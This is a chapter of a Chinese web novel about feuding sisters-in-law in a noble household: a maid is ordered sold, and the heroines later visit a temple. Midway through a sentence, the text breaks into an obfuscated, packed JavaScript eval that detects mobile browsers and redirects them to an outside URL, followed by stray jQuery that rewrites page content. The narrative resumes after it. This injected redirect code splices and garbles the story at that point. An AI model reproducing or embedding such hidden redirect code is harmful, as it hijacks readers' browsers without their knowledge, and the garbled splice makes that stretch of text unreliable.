林昭蕙强迫自己冷静下来,待看清账目确实无误后,沉声道:“大嫂嫂若是要找我兴师问罪便来问是了,何苦拿我的侍女作筏子,杀鸡儆猴给谁看呢。既是我要采买的衣裳首饰,花了公中的钱,只管找我来讨说法便是。”
谢蕴华闻言,忙“哎唷”一声道:“四妹妹就是性急。妹妹是府上的主子,我如何敢拿妹妹开罪?妹妹年纪小不经事,被身边伺候的奴才哄迷了眼……”
林昭蕙不等她说完,冷声打断:“那大嫂嫂便说说,今日唤我来,是要怎么处置我这个丫鬟?”
谢蕴华见终于说到点子上,瞥了一眼在角落里瑟瑟发抖的白露,轻飘飘的声音传来:“做出这等子见不得人的事,咱们府上可是留不得了,定是要找个人牙子发卖了,赶出府去。”
座中的众人皆是一惊。白露闻言如遭雷击,忙一个劲地爬到谢氏身前,磕头道:“求夫人开恩……夫人怎么罚奴婢都认了,求您千万别将奴婢给卖了……”
侯府里小姐的贴身丫鬟,虽是奴才,但在外头也是十足有体面的。若是被人牙子给发卖了,不知会被卖到何处去,若有些运气差的,被卖到秦楼楚馆之地,那可是一辈子都给叫毁了。
林晚霁见二人对峙,不忍看到白露如此,忙开口劝道:“大嫂嫂,白露是做错了事情,但到底人非圣贤,孰能无过,何必把人往绝路上逼……依我看,既是用了公中的账目,那用了多少银子,叫四妹妹悉数还来便是,有不够的我来添,别为着这点小事伤了咱们府上的和气。”
谢蕴华闻言,只是轻笑道:“三妹妹这话说得漂亮,倒是叫这恶人让我一个人做了。这账目若说要清查起来,二婶婶到底是管了十几年的账……这一时清查倒要耗费不少精力,也难免叫我得罪了妹妹。”
此话一出,便是暗戳戳在说二夫人俞氏管家不清,有中饱私囊之嫌了。
见林昭蕙气急,林晚霁忙暗中拦住,开口和缓道:“大嫂嫂说得不错,白露这丫头是该狠狠处置一番,也叫下头的人好好看着,不敢再以下作乱了。依我看,这丫头到底是府上的家生子,大嫂嫂不妨将她赶到庄子上去,叫她好好反省反省?庄子苦寒,也够有她受的了。”
谢蕴华闻言轻笑,“三妹妹到底是心软,没管过家,不知这当家的难处。我从前在谢家便是自小学着管家的,像这等子哄骗主子偷摸中馈的奴才,便是打死了也不为过。妹妹不懂我管家的难处,若不是将她发卖出府,这日后若再有姑息养奸一事,我实在是难做呀。”
林昭蕙闻言更是气急,正张口欲与她争论一番。大不了二人撕破了脸去,真闹在老夫人那,她一个新娶进门的媳妇,管家行事就如此狠戾不通人情,也未必能讨到好脸色。
林晚霁忙赶在前头回应道:“大嫂嫂说的是,是咱们这些做妹妹的意气用事了。至于这丫头,全凭嫂嫂处置,我们绝无怨言的。”
林昭蕙扭头朝她瞪大了双眼。
林晚霁并不看她,暗中拍了拍她的手背,仍是面带着笑意与谢氏相谈。
谢蕴华见她识相,接过丫鬟递来的茶盏,抿唇笑道:“还是三妹妹明事理,能够明白嫂子的难处。既如此,那这丫头便找个人牙子给发卖出去吧。四妹妹若是身边缺人了,府上忠心的伶俐丫头多了去了,尽管来挑便是。”
见林晚霁不断安抚自己,林昭蕙也只好深吸一口气,面无表情道:“那就多谢大嫂嫂了。”
谢蕴华抬手示意,随即便有两个婆子将跪坐在地上的白露给押了下去。
林昭蕙也并未久坐,起身拉着林晚霁便要离开。
“大嫂嫂贵人事忙,如今事情已了,我们就不打搅了。”
“几位妹妹不再坐会?”谢蕴华开口挽留,将手中的茶盏搁置于案上,却并未有何动作,只是笑道:“既如此,我也不好再留你们干坐着了。”
林昭芙闻言,也连忙起身,跟在二人后头一道出了撷芳斋。谢氏进门以来,她并未与这位嫂嫂有任何交集,本以为因着世子和大姐姐的缘故,对自己这对母女定是不喜的,谁料今天倒叫她看了一场好戏。
一想到方才林昭蕙那般面色惨白的样子,林昭芙心里头不免舒坦起来,面上也多了几分得意:“有些人鸠占鹊巢惯了,还真把自己当凤凰了?”
林昭蕙闻言顿住脚步,转过身来死死盯着她。
那一巴掌的感受至今她还记得清清楚楚,又看到那双阴沉的眼眸时,林昭芙不免浑身抖了一抖。
她挺起胸脯,给自己壮胆:“这……这么看着我干嘛?我又没说错,谁知道往日里你们二房私吞了多少银两……要不是大嫂嫂今日发现了,还不知要蒙骗我们到什么时候呢!你倒好,还这般理直气壮……”
“好了。”林晚霁不悦地皱了皱眉:“二姐姐,事情既已了,也不必如此咄咄逼人。我与四妹妹还有些课业相商,就不与二姐姐同路了。”
林昭芙见林晚霁护着身后的少女,到底心中有些发怵,又不敢再上前理论什么,只好不忿地“哼”了一声,转身便往自己的玉芙斋走去。
“晚姐姐。”
身后的少女叫住自己,眸中闪过一丝慌乱的神色,眼眶也有些发红。
林晚霁赶忙上前抽出丝帕来,轻声哄道:“别怕……我方才是权宜之计,大嫂嫂是铁了心要将你那丫头发卖的,如今她风头正盛,你同她硬碰硬有什么好处?”
“可……我是真舍不得白露受苦……”林昭蕙眼泪不受控制地大颗大颗落了下来,无助地看着她。
林晚霁沉吟道:“方才我就已想好了。等到人牙子拿了白露的身契,我便叫陆氏商号的人从人牙子手中买下来,安置在我家的铺子里。只是这样一来,白露想要回府待在你身边可就难了……”
“无碍的。”林昭蕙闻言,忙擦了擦泪珠,破涕为笑道:“只要能保住白露就好。三姐姐,真是多谢你……”
“好啦,你我之间又何必言谢。”林晚霁将手中的丝帕递给她,二人一路往临音榭的方向走去:“明日我母亲唤我去相国寺上香,届时你便同我一起。等回来的路上,路过铺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269655|164081||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子时,我叫人停下车来,你去看上白露一眼。”
翌日一早,林晚霁梳洗整齐,叫绣夏挽了个垂云髻,如瀑般的青丝被揽在脑后。待到簪上一根天水碧玉的簪子,抿上口脂,拢上一袭绣着金丝鹮雀的大氅,便是可以出门了。
马车早已停在府门外。林晚霁因着梳洗的缘故,姗姗来迟出了院门,见着门口停放的两驾马车时,心中疑惑,不免皱了皱眉头。
“晚姐姐,这儿。”林昭蕙掀开车帘的一角,招手同她打着招呼。林晚霁会意,快步迈到那后头一驾马车,在侍女的搀扶下踩上脚凳,稳稳上了马。
车厢里飘来一股清甜的瓜果香气。
林晚霁俯身坐下,接过林昭蕙递来的几粒葡萄,不禁笑道:“你倒是有闲情逸致,怎么今日出府还叫了两驾马车?”
林昭蕙闻言,有些不耐烦地叹了口气:“还不是有人听说了,死皮赖脸地非要一起。”
林晚霁忍俊不禁,将剥好的葡萄塞入口中:“怎么,你二姐姐又何处惹到咱们的小霸王了?”
“姐姐快别拿我取笑了。”林昭蕙侧过身,倚靠着窗楹:“因着要管事安排马车的缘故,此事叫大嫂嫂知晓了,她便说,同是待字闺中的姑娘家,叫二姐姐与她那两个表姊妹一同去。好不容易得来的出府的机会,二姐姐岂有不应之理。”
说完努了努嘴:“你瞧,如今正在前头那辆上坐着呢。”
“我当是何事呢。”林晚霁手中继续剥着葡萄,将果肉送到她的嘴边:“我们上我们的香,她们自去玩她们的,本就不相干。好不容易出来一趟,可千万别为着不值当的事儿烦心。”
姐妹俩一路谈天说地,约莫过了半个时辰,马车稳稳停下,这便是到了。
车窗外传来往来熙攘之声,如今开了春,城郊的相国寺香火倒是正旺。
林晚霁掀开门帘,接过莺时的手同昭蕙一前一后下了马车。入目一片青山翠林,盘山处耸立着几座佛殿,袅袅的香烟围绕,隐约还能听见远处的钟声。
林晚霁大口呼吸着来自山野间的清新空气,只觉得胸中畅然,心旷神怡。可这份舒畅还未持续多久,便瞧见从马车上下来的许嫣走在前头,从袖中掏出一盒香粉来细细涂抹在脸上,走时还不忘往她们这边挤了一下,只拿一双狭长的丹凤眼斜睨着看人。
虽是讨厌,林晚霁还是不得不承认,许嫣盛装打扮一番过后,还是有几分姝色的。若说海棠清丽,她就有如开得正艳的芙蓉花,娇艳欲滴,在这满山青翠和一众素净打扮的香客里,显得很是出挑。
她身侧的林昭芙容色虽淡了些,但到底是贵女,身上的衣裳首饰也都是上等的料子,自打上次被关了大半月的祠堂后,如今举止行事倒颇有礼数。
而默默缩着头走在她们身后的许棠则显得寡淡了许多,只着一身白灰色的袄裙,面上未施粉黛,如同惊弓之鸟不断左顾右盼着,在旁人看来,仿若是跟在后头的侍女一般。
林晚霁不再管这些,同昭蕙一道戴好帷帽,随人流往佛殿走着。